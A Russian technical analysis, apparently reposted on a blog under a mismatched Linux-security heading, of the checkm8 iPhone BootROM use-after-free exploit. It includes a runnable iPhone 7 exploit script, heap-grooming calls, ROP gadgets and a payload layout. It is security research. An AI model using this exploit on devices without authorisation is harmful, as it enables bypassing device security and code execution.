Защита ОС Linux от нашумевшего эксплойта checkm8

Анализ нашумевшего эксплойта checkm8

Скорее всего, вы уже слышали о нашумевшем эксплойте checkm8, который использует неисправимую уязвимость в BootROM большинства iDevices, включая iPhone X. В этой статье мы предоставим технический анализ эксплойта и разберемся в причинах уязвимости.
Вы можете прочитать английскую версию статьи здесь.

Защита ОС Linux от нашумевшего эксплойта checkm8

Для начала кратко опишем процесс загрузки iDevice и выясним, где находится BootROM (его также можно назвать SecureROM) и для чего он используется. Достаточно подробная информация по этому поводу здесь. Процесс загрузки можно изобразить следующим образом:

Защита ОС Linux от нашумевшего эксплойта checkm8

BootROM — первое, что исполняет процессор при включении устройства. Основные задачи BootROM:

1) Инициализация платформы (установка необходимых регистров платформы, инициализация CPU и т.д.)

2) Проверка и передача управления на следующую ступень загрузки

  • BootROM поддерживает парсинг IMG3/IMG4 образов
  • BootROM имеет доступ к GID ключу для расшифровки образов
  • Для проверки образов в BootROM встроен публичный ключ Apple, и есть необходимая функциональность для работы с криптографией

3) Восстановление устройства при невозможности дальнейшей загрузки (Device Firmware UpdateDFU)

BootROM очень мал и может называться урезанной версией iBoot, поскольку они разделяют большую часть системного и библиотечного кода. Однако, в отличие от iBoot, BootROM нельзя обновить. При изготовлении устройства он помещается во внутреннюю постоянную память. BootROM — это аппаратный корень доверия цепочки загрузки. Уязвимости в нем могут позволить взять под контроль дальнейший процесс загрузки и выполнить неподписанный код на устройстве.

Защита ОС Linux от нашумевшего эксплойта checkm8

Появление checkm8

Эксплойт checkm8 был добавлен в утилиту ipwndfu ее автором axi0mX 27 сентября 2019 года. В то же время он объявил об обновлении в своем твиттере, сопроводив ветку описанием эксплойта и дополнительной информацией. Из этой ветки вы можете узнать, что use-after-free уязвимость в коде USB была обнаружена автором в процессе патч-диффинга iBoot для iOS 12 beta летом 2018 года. Как отмечалось ранее, у BootROM и iBoot много общего кода, включая код для USB, поэтому эта уязвимость актуальна и для BootROM.

Кроме того, код эксплойта показывает, что уязвимость эксплуатируется в DFU. Это режим, в котором подписаный образ может быть передан на устройство через USB, которое затем будет загружено. Это может быть необходимо, например, для восстановления устройства в случае сбоя обновления.

В тот же день пользователь littlelailo сообщил, что обнаружил эту уязвимость в марте, и опубликовал ее описание в файле apollo.txt. Описание соответствовало тому, что происходит в коде checkm8, но не полностью разъясняет детали эксплойта. Поэтому мы решили написать эту статью и описать все детали работы вплоть до выполнения полезной нагрузки в BootROM.

Мы проанализировали использование уязвимости на основе материалов, упомянутых выше, а также исходного кода iBoot / SecureROM, утечка которого произошла в феврале 2018 года. Также мы использовали данные нашего тестового устройства, iPhone 7 (CPID: 8010). С помощью checkm8 мы удалили с него дампы SecureROM и SecureRAM, что помогло нам с анализом.

Необходимые знания о USB

Обнаруженная уязвимость находится в коде USB, поэтому требуется некоторое знание этого интерфейса. Вы можете прочитать полную спецификацию здесь, но она довольно обширна. Отличный материал, которого более чем достаточно для дальнейшего понимания, — USB in a NutShell. Здесь мы представим только самое главное.

Существуют различные типы передачи данных по USB. В DFU используется только режим Control Transfers (про него можно прочитать по ссылке). Каждая транзакция в этом режиме состоит из трех стадий:

1. Setup Stage — на этой стадии отправляется SETUP-пакет, который состоит из следующих полей:

  • bmRequestType — описывает направление, тип и получателя запроса
  • bRequest — определяет, какой именно запрос производится
  • wValuewIndex — в зависимости от запроса могут быть интерпретированы по-разному
  • wLength — длинна принимаемых/передаваемых данных в Data Stage

 

2.Data Stage — опциональная стадия, на которой происходит передача данных. В зависимости от SETUP-пакета из предыдущей стадии это может быть отправка данных от хоста к устройству (OUT) или наоборот (IN). Данные при этом отправляются небольшими порциями (в случае Apple DFU — это 0x40 байт).

  • Когда хост хочет передать очередную порцию данных, он отправляет OUT-токен, после чего отправляются сами данные.
  • Когда хост готов принять данные от устройства, он отправляет IN-токен, в ответ на который устройство отправляет данные.

3.Status Stage — завершающая стадия, на которой сообщается статус всей транзакции.

  • Для OUT-запросов хост отправляет IN-токен, в ответ на который устройство должно отправить пакет данных нулевой длины.
  • Для IN-запросов хост отправляет OUT-токен и пакет данных нулевой длины.
  • OUT — и IN-запросы представлены на схеме ниже. Мы намеренно убрали из описания и схемы взаимодействия ACKNACK и другие пакеты хендшейка, так как они не играют особой роли в самом эксплойте.

Анализ нашумевшего эксплойта checkm8

Анализ apollo.txt

Мы начали анализ с разбора уязвимости из документа apollo.txt. В нем описывается алгоритм работы DFU-режима:

https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
  2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
  3. the interface code verifies that wLength is shorter than the input output buffer length and if that’s the case it updates a pointer passed as an argument with a pointer to the input output buffer
  4. it then returns wLength which is the length it wants to recieve into the buffer
  5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
  6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
  7. if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted
  8. after that the usb code resets all variables and goes on to handel new packages
  9. if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu

Сначала мы объединяем описанные шаги с исходным кодом iBoot. Поскольку мы не можем использовать фрагменты исходного кода, просочившиеся в статью, мы покажем псевдокод, полученный путем обратного проектирования SecureROM нашего iPhone 7 в IDA. Вы можете легко найти исходный код iBoot и перемещаться по нему.

При инициализации режима DFU выделяется IO-буфер и регистрируется USB-интерфейс для обработки запросов к DFU:

Анализ нашумевшего эксплойта checkm8

При поступлении SETUP-пакета запроса к DFU вызывается соответствующий обработчик интерфейса. В случае успешного выполнения OUT-запроса (например, при передаче образа) обработчик должен по указателю вернуть адрес IO-буфера для транзакции и размер данных, которые ожидает получить. При этом адрес буфера и размер ожидаемых данных сохраняются в глобальных переменных.

bootrom,usb,iboot

Обработчик интерфейса для DFU представлен на скриншоте ниже. Если запрос корректный, то по указателю возвращается адрес IO-буфера, аллоцированного на стадии инициализации DFU, и длина ожидаемых данных, которая берется из SETUP-пакета.

bootrom,usb,iboot

Во время Data Stage каждая порция данных записывается в IO-буфер, после чего адрес IO-буфера сдвигается и обновляется счетчик полученных данных. После получения всех ожидаемых данных вызывается обработчик данных интерфейса и очищается глобальное состояние передачи.

bootrom,usb,iboot

В обработчике данных DFU полученные данные перемещаются в область памяти, из которой в дальнейшем будет происходить загрузка. Судя по исходному коду iBoot, эту область памяти в Apple называют INSECURE_MEMORY.

Когда вы выходите из режима DFU, ранее выделенный IO-буфер освобождается. Если образ успешно получен в режиме DFU, он будет проверен и загружен. Если при работе в режиме DFU произошла ошибка или полученный образ не может быть загружен, DFU будет повторно инициализирован, и все начнется заново.

В описанном алгоритме и кроется use-after-free уязвимость. Если во время загрузки мы отправим пакет SETUP и завершим транзакцию, пропуская Data Stage, глобальное состояние останется инициализированным, когда мы снова войдем в цикл DFU, и мы сможем писать по адресу IO-буфера, выделенного в предыдущей итерации DFU.

Разобравшись с уязвимостью use-after-free, мы задались вопросом: как мы можем что-то перезаписать в следующей итерации DFU? В конце концов, перед сбросом DFU все ранее выделенные ресурсы освобождаются, и место в памяти в новой итерации должно быть точно таким же. Оказывается, есть еще одна интересная и довольно приятная ошибка утечки памяти, которая позволяет использовать уязвимость use-after-free, о которой мы поговорим позже.

Анализ checkm8

Перейдем непосредственно к анализу эксплойта checkm8. Для простоты разберем модифицированную версию эксплойта для iPhone 7, в которой был убран код, связанный с другими платформами, изменена последовательность и типы USB-запросов без потери работоспособности эксплойта. Также в данной версии убран процесс построения полезной нагрузки, с ним можно ознакомиться в оригинальном файле checkm8.py. Понять, в чем состоят отличия версий для других устройств, не должно составить труда.

#!/usr/bin/env python
from checkm8 import *

def main():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device(1800)
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    payload, _ = exploit_config(device.serial_number)
    t8010_nop_gadget = 0x10000CC6C
    callback_chain = 0x1800B0800
    t8010_overwrite = '\0' * 0x5c0
    t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

    # heap feng-shui
    stall(device)
    leak(device)
    for i in range(6):
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    device.serial_number
    stall(device)
    leak(device)
    leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i+0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)

if __name__ == '__main__':
    main()

Работу checkm8 можно разделить на несколько стадий:

  1. Подготовка кучи (heap feng-shui)
  2. Аллокация и освобождение IO-буфера без очистки глобального состояния
  3. Перезапись usb_device_io_request в куче с помощью use-after-free
  4. Размещение полезной нагрузки
  5. Исполнение callback-chain
  6. Исполнение shellcode

Рассмотрим каждую из стадий подробно.

1. Подготовка кучи (heap feng-shui)

Как нам кажется, это наиболее интересная стадия, и ей мы уделили особое внимание.

stall(device)
leak(device)
for i in range(6):
    no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)

Этот этап необходим для достижения удобного состояния кучи для эксплуатации use-after-free. Для начала рассмотрим вызовы stallleakno_leak:

def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)

libusb1_no_error_ctrl_transfer — это обертка над device.ctrlTransfer с игнорированием любых исключений, возникших при выполнении запроса. libusb1_async_ctrl_transfer — обертка над функцией libusb_submit_transfer из libusb для асинхронного выполнения запроса.

Оба вызова принимают следующие параметры:

1. Экземпляр устройства

2. Данные для SETUP-пакета (их описание тут):

  • bmRequestType
  • bRequest
  • wValue
  • wIndex
  • Размер данных (wLength) или сами данные для Data Stage
  • Таймаут запроса

Аргументы bmRequestTypebRequestwValue и wIndex являются общими для всех трех видов запросов. Они означают:

1.bmRequestType = 0x80

  • 0b1XXXXXXX — направление Data Stage от устройства к хосту (Device to Host)
  • 0bX00XXXXX — стандартный тип запроса
  • 0bXXX00000 — получатель запроса — устройство

2.bRequest = 6 — запрос на получение дескриптора (GET_DESCRIPTOR)

3.wValue = 0x304

  • wValueHigh = 0x3 — определяет тип получаемого дескриптора — строка (USB_DT_STRING)
  • wValueLow = 0x4 — индекс строкового дескриптора, 4 соответствует серийному номеру устройства (в данном случае строка имеет вид CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33])

4.wIndex = 0x40A — идентификатор языка строки, его значение не важно для эксплуатации и может быть изменено.

При любом из этих трех запросов в куче выделяется 0x30 байт под объект следующей структуры:

bootrom,usb,iboot

Наиболее интересными полями данного объекта являются callback и next.

  • callback — указатель на функцию, которая будет вызвана при завершении запроса.
  • next — указатель на следующий объект того же типа, необходим для организации очереди запросов.

Ключевой особенностью вызова stall является использование асинхронного выполнения запроса с минимальным таймаутом. Благодаря этому, если вам повезет, запрос будет отменен на уровне ОС и останется в очереди на выполнение, а транзакция не будет завершена. При этом устройство продолжит получать все входящие пакеты SETUP и, при необходимости, поместит их в очередь выполнения. Позже с помощью экспериментов с контроллером USB на Arduino удалось выяснить, что для успешной работы хост должен отправить пакет SETUP и токен IN, после чего транзакция должна быть отменена по таймауту.Схематично, такую незавершенную транзакцию можно изобразить так:

 

В остальном запросы отличаются только длиной и всего лишь на единицу. Дело в том, что для стандартных запросов существует стандартный callback, который выглядит так:

Значение io_length равно минимуму из wLength в SETUP-пакете запроса и оригинальной длины запрашиваемого дескриптора. За счет того, что дескриптор достаточно длинный, мы можем точно контролировать значение io_length в пределах его длины. Значение g_setup_request.wLength равно значению wLength последнего SETUP-пакета, в данном случае — 0xC1.

Таким образом, при завершении запросов, сформированных с помощью вызовов stall и leak, условие в завершающей callback-функции выполняется, и вызывается usb_core_send_zlp(). Этот вызов просто создает нулевой пакет (zero-length-packet) и добавляет его в очередь исполнения. Это необходимо для корректного завершения транзакции в Status Stage.

Запрос завершается вызовом функции usb_core_complete_endpoint_io, которая сначала вызывает callback, а затем освобождает память запроса. При этом завершение запроса может происходить не только при фактическом завершении всей транзакции, но и при сбросе USB. Как только будет получен сигнал сброса USB, будет произведен обход очереди запросов, и каждый из них будет завершен.

За счет выборочного вызова usb_core_send_zlp() при обходе очереди запросов с их последующим освобождением можно добиться достаточного контроля кучи для эксплуатации use-after-free. Для начала посмотрим на сам цикл освобождения:

Очередь запросов сначала очищается, потом производится обход отмененных запросов, и они завершаются с помощью вызова usb_core_complete_endpoint_io. При этом выделенные с помощью usb_core_send_zlp запросы помещаются в ep->io_head. После завершения процедуры сброса USB вся информация о конечной точке будет обнулена, в том числе указатели io_head и io_tail, и запросы нулевой длины останутся в куче. Так можно создать чанк небольшого размера посреди всей остальной кучи. На схеме ниже показано, как это происходит:

 

 

Куча в SecureROM устроена таким образом, что новая область памяти выделяется из подходящего свободного чанка наименьшего размера. Создав небольшой свободный чанк описанным выше методом, можно повлиять на выделение памяти при инициализации USB и на выделение io_buffer и запросов.

Для лучшего понимания разберемся, какие запросы к куче происходят при инициализации DFU. В ходе анализа исходного кода iBoot и реверс-инжиниринга SecureROM нам удалось получить следующую последовательность:
1. Аллокация различных строковых дескрипторов

1.1. Nonce (размер 234)

1.2. Manufacturer (22)

1.3. Product (62)

1.4. Serial Number (198)

1.5. Configuration string (62)

2. Аллокации, связанные с созданием таска USB-контроллера

2.1. Структура таска (0x3c0)

2.2. Стек таска (0x1000)

3. io_buffer (0x800)

4. Конфигурационные дескрипторы

4.1. High-Speed (25)

4.2. Full-Speed (25)

Затем происходит аллокация структур запросов. При наличии чанка небольшого размера в середине пространства кучи часть аллокаций из первой категории уйдут в этот чанк, а все остальные аллокации сдвинутся, за счет чего мы сможем переполнить usb_device_io_request, обратившись к старому буферу. Схематично это можно изобразить следующим образом:

Для расчета необходимого смещения мы решили просто проэмулировать перечисленные выше аллокации, немного адаптировав исходный код кучи iBoot.

Эмуляция обращений к куче в DFU

 

Вывод программы при 8-ми запросах на этапе heap feng-shui:

chunk = 0x1004000
descs[0]  = 0x1004480
descs[1]  = 0x10045c0
descs[2]  = 0x1004640
descs[3]  = 0x10046c0
descs[4]  = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0]  = 0x1009a40
zlps[1]  = 0x1009640
**********
descs[0]  = 0x10096c0
descs[1]  = 0x1009800
descs[2]  = 0x1009880
descs[3]  = 0x1009900
descs[4]  = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off  = 0x4c0
fs_off  = 0x540

Очередной usb_device_io_request окажется по смещению 0x5c0 от начала предыдущего буфера, что соответсвует коду эксплойта:

t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

В правильности описанных выше рассуждений можно убедиться, проанализировав актуальное содержимое кучи в SecureRAM, которое мы получили с помощью checkm8. Мы написали довольно простой скрипт, который парсит дамп кучи и перечисляет чанки. При парсинге стоит учесть, что при переполнении usb_device_io_request часть метаданных чанков была повреждена, и их мы пропускаем при анализе скриптом.

#!/usr/bin/env python3
import struct
from hexdump import hexdump

with open('HEAP', 'rb') as f:
    heap = f.read()

cur = 0x4000
def parse_header(cur):
    _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
    is_free = t & 1
    prev_free = (t >> 1) & 1
    prev_size = t >> 2
    this_size *= 0x40
    prev_size *= 0x40
    return this_size, is_free, prev_size, prev_free

while True:
    try:
        this_size, is_free, prev_size, prev_free = parse_header(cur)
    except Exception as ex:
        break
    print('chunk at', hex(cur + 0x40))
    if this_size == 0:
        if cur in (0x9180, 0x9200, 0x9280):  # пропуск поврежденных чанков
            this_size = 0x80
        else:
            break
    print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
    hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
    cur += this_size

С выводом скрипта с комментариями можно ознакомиться под спойлером. Видно, что младшие байты адресов совпадают с результатом эмуляции.

Результат парсинга кучи в SecureRAM

Также интересный эффект можно получить, переполняя конфигурационные дескрипторы High Speed и Full Speed, которые находятся сразу после IO-буфера. Одно из полей конфигурационного дескриптора отвечает за его общую длину, и, переполнив его, можно добиться чтения за пределами дескриптора. Предлагаем заинтересованному читателю проделать это самостоятельно, модифицировав код эксплойта соответствующим образом.

2. Аллокация и освобождение IO-буфера без очистки глобального состояния

device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)

На данном этапе создается незавершенный OUT-запрос для загрузки образа. При этом происходит инициализация глобального состояния, и в io_buffer будет помещен адрес буфера в куче. Затем происходит сброс DFU с помощью запроса DFU_CLR_STATUS, и начинается новая итерация работы DFU.

3. Перезапись usb_device_io_request в куче с помощью use-after-free

device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) Здесь происходит выделение объекта типа usb_device_io_request в куче и его переполнение с помощью t8010_overwrite, содержимое которого было приведено на первом этапе.

Значениями t8010_nop_gadget и 0x1800B0800 должны переполниться поля callback и next структуры usb_device_io_request.

t8010_nop_gadget представлен ниже и соответствует своему названию, однако в нем происходит не просто возврат из функции, а еще и восстановление предыдущего регистра LR, из-за чего пропускается вызов free после callback-функции в usb_core_complete_endpoint_io. Это важно, так как при переполнении мы повреждаем метаданные кучи, и при попытке освобождения это повлияло бы на работу эксплойта.

bootrom:000000010000CC6C                 LDP             X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70                 LDP             X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74                 RET

next указывает на INSECURE_MEMORY + 0x800. В INSECURE_MEMORY будет находиться полезная нагрузка эксплойта, а по смещению 0x800в полезной нагрузке находится callback-chain, речь о котором пойдет ниже.

4. Размещение полезной нагрузки

for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                   payload[i:i+0x800], 50)

На данном этапе каждый следующий пакет помещается в область памяти для образа. Итоговая полезная нагрузка выглядит следующим образом:

0x1800B0000: t8010_shellcode  # инициализирующий shell-code
...
0x1800B0180: t8010_handler  # новый обработчик usb-запросов
...
0x1800B0400: 0x1000006a5  # дескриптор фейковой таблицы трансляции
                          # соответствует SecureROM (0x100000000 -> 0x100000000)
                          # совпадает со значением в оригинальной таблице трансляции
...
0x1800B0600: 0x60000180000625  # дескриптор фейковой таблицы трансляции
                               # соответствует SecureRAM (0x180000000 -> 0x180000000)
                               # совпадает со значением в оригинальной таблице трансляции
0x1800B0608: 0x1800006a5  # дескриптор фейковой таблицы трансляции
                          # новое значение транслирует 0x182000000 в 0x180000000
                          # при этом в данном дескрипторе есть права на исполнение кода
0x1800B0610: disabe_wxn_arm64  # код для отключения WXN
0x1800B0800: usb_rop_callbacks  # callback-chain

5. Исполнение callback-chain

dfu.usb_reset(device)
dfu.release_device(device)

После сброса USB начинается цикл отмены незавершенных usb_device_io_request в очереди с помощью прохода по связанному списку. На предыдущих этапах мы подменили продолжение очереди запросов, благодаря чему можно контролировать цепочку вызовов callback. Для построения этой цепочки используется следующий гаджет:

bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50 LSL W2, W2, W9
bootrom:000000010000CC54 MOV X0, X8 ; arg0
bootrom:000000010000CC58 BLR X10 ; call
bootrom:000000010000CC5C CMP W0, #0
bootrom:000000010000CC60 CSEL W0, W0, W19, LT
bootrom:000000010000CC64 B loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68 MOV W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET

Как видите, по смещению 0x70 от указателя на структуру загружаются адрес вызова и первый аргумент для вызова. С помощью этого гаджета можно легко делать вызовы вида f(x) для произвольных f и x.

Всю цепочку вызовов можно легко проэмулировать, используя Unicorn Engine. Мы сделали это с помощью нашей модифицированной версии плагина uEmu.

Результат работы всей цепочки для iPhone 7 с пояснениями приведем ниже.

5.1. dc_civac 0x1800B0600

000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET

Очистка и инвалидация кэша процессора по виртуальному адресу. Это необходимо для того, чтобы в дальнейшем процессор обращался именно к нашей полезной нагрузке.

5.2. dmb

0000000100000478: DMB SY
000000010000047C: RET

Барьер памяти, гарантирующий завершение всех операций с памятью, производимых до этой инструкции. Дело в том, что в высокопроизводительных процессорах в целях оптимизации инструкции могут исполнятся в порядке, отличном от запрограммированного.

5.3. enter_critical_section()

Затем происходит маскировка прерываний для атомарного выполнения последующих операций.

5.4. write_ttbr0(0x1800B0000)

00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

Устанавливается новое значение регистра трансляции TTBR0_EL1 в 0x1800B0000. Это адрес INSECURE MEMORY, где расположена полезная нагрузка эксплойта. Как было замечено ранее, по нужным смещениям в полезной нагрузке расположены дескрипторы трансляции:

...
0x1800B0400: 0x1000006a5           0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625      0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5           0x182000000 -> 0x180000000 (rx)
...

5.5. tlbi

0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET

Происходит инвалидация таблицы трансляции для того, чтобы адреса транслировались в соответствии с нашей новой таблицей трансляции.

5.6. 0x1820B0610 - disable_wxn_arm64

MOV  X1, #0x180000000
ADD  X2, X1, #0xA0000
ADD  X1, X1, #0x625
STR  X1, [X2,#0x600]
DMB  SY

MOV  X0, #0x100D
MSR  SCTLR_EL1, X0
DSB  SY
ISB

RET

Происходит отключение WXN (Write permission implies Execute-never), после чего можно исполнять код в RW памяти. Исполнение самого кода отключения WXN возможно из-за модифицированной на предыдущем этапе таблицы трансляции.

5.7. write_ttbr0(0x1800A0000)

00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

 

Восстанавливается оригинальное значение регистра трансляции TTBR0_EL1. Это необходимо для дальнейшей корректной работы BootROM при трансляции виртуальных адресов, так как данные в INSECURE_MEMORY будут перезаписаны.

5.8. tlbi

Происходит повторный сброс таблицы трансляции.

5.9. exit_critical_section()

Обработка прерываний возвращается в нормальное состояние.

5.10. 0x1800B0000

Управление на инициализирующий shellcode передается.

Таким образом, основная задача callback-chain — это отключение WXN и передача управления на shellcode в RW-памяти.

6. Исполнение shellcode

Сам shellcode находится в src/checkm8_arm64.S и делает следующее:

6.1. Перезапись конфигурационных USB-дескрипторов

В глобальной памяти хранятся два указателя на конфигурационные дескрипторы usb_core_hs_configuration_descriptor и usb_core_fs_configuration_descriptor, расположенные в куче. Во время третьего этапа эти дескрипторы были повреждены. Так как они необходимы для корректной работы с USB-устройством, shellcode их восстанавливает.

6.2. Изменение USBSerialNumber

Создается новая строка-дескриптор с серийным номером, к которой дописывается подстрока " PWND:[checkm8]". В дальнейшем это поможет определить, успешно ли отработал эксплойт.

6.3. Перезапись указателя обработчика USB-запросов на новый

Оригинальный указатель на обработчик USB-запросов к интерфейсу перезаписывается указателем на новый обработчик, который будет размещен в памяти на следующем шаге.

6.4. Копирование обработчика USB-запросов в TRAMPOLINE область памяти (0x1800AFC00)

При получении USB-запроса новый обработчик сравнивает wValue запроса с 0xffff и, если они не равны, возвращает управление на оригинальный обработчик. Если значения совпадают, то в новом обработчике могут быть исполнены различные команды: memcpymemset и exec (вызов произвольного адреса с произвольным набором аргументов).

На этом анализ эксплойта можно считать завершенным.

Реализация эксплойта на более низком уровне работы с USB

В качестве бонуса и для понимания атаки на более низком уровне мы опубликовали Proof-of-Concept реализацию checkm8 на Arduino с Usb Host Shield. PoC работает только на iPhone 7, но его легко перенести на другие устройства. При подключении iPhone 7 в режиме DFU к Usb Host Shield все действия, описанные в статье, будут выполнены, и устройство перейдет в режим PWND :, после чего его можно будет подключить к USB-порту персонального компьютера и работать с ним через утилиту ipwndfu (дамп памяти, использование криптографических ключей и т. д.).Этот метод более стабилен, чем использование асинхронных запросов с минимальным таймаутом, поскольку мы работаем напрямую с контроллером USB. Для реализации использовалась библиотека USB_Host_Shield_2.0. Его нужно немного доработать, файл патча тоже есть в репозитории.
 
 

Заключение

На этом наш технический анализ завершен. Было очень интересно разобраться с эксплойтом checkm8. Мы надеемся, что эта статья будет полезна для сообщества и побудит людей проводить больше исследований в этой области. Сама уязвимость уже оказала и продолжит оказывать влияние на jailbreak-сообщество. Н Например, уже ведутся работы над jailbreak на основе checkm8checkra1n.Поскольку уязвимость необратима, полученный джейлбрейк всегда будет работать на уязвимых чипах (от A5 до A11), независимо от версии iOS. Не забывайте об iWatch, Apple TV и других уязвимых устройствах. Мы уверены, что в ближайшее время появятся и другие интересные проекты для устройств Apple.

Помимо jailbreak, эта уязвимость окажет большое влияние на исследователей устройств Apple. С помощью checkm8 вы уже можете включить подробную загрузку iOS, сделать дамп SecureROM или использовать ключ GID для расшифровки образов прошивки. Однако, на наш взгляд, наиболее интересной особенностью нового эксплойта является возможность отладки уязвимых устройств с помощью  специального JTAG/SWD кабеля.Раньше это было возможно только на специальных прототипах, получить которые было крайне сложно, или с помощью специализированных сервисов. Соответственно, с появлением checkm8 исследовать Apple станет намного проще и дешевле.

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.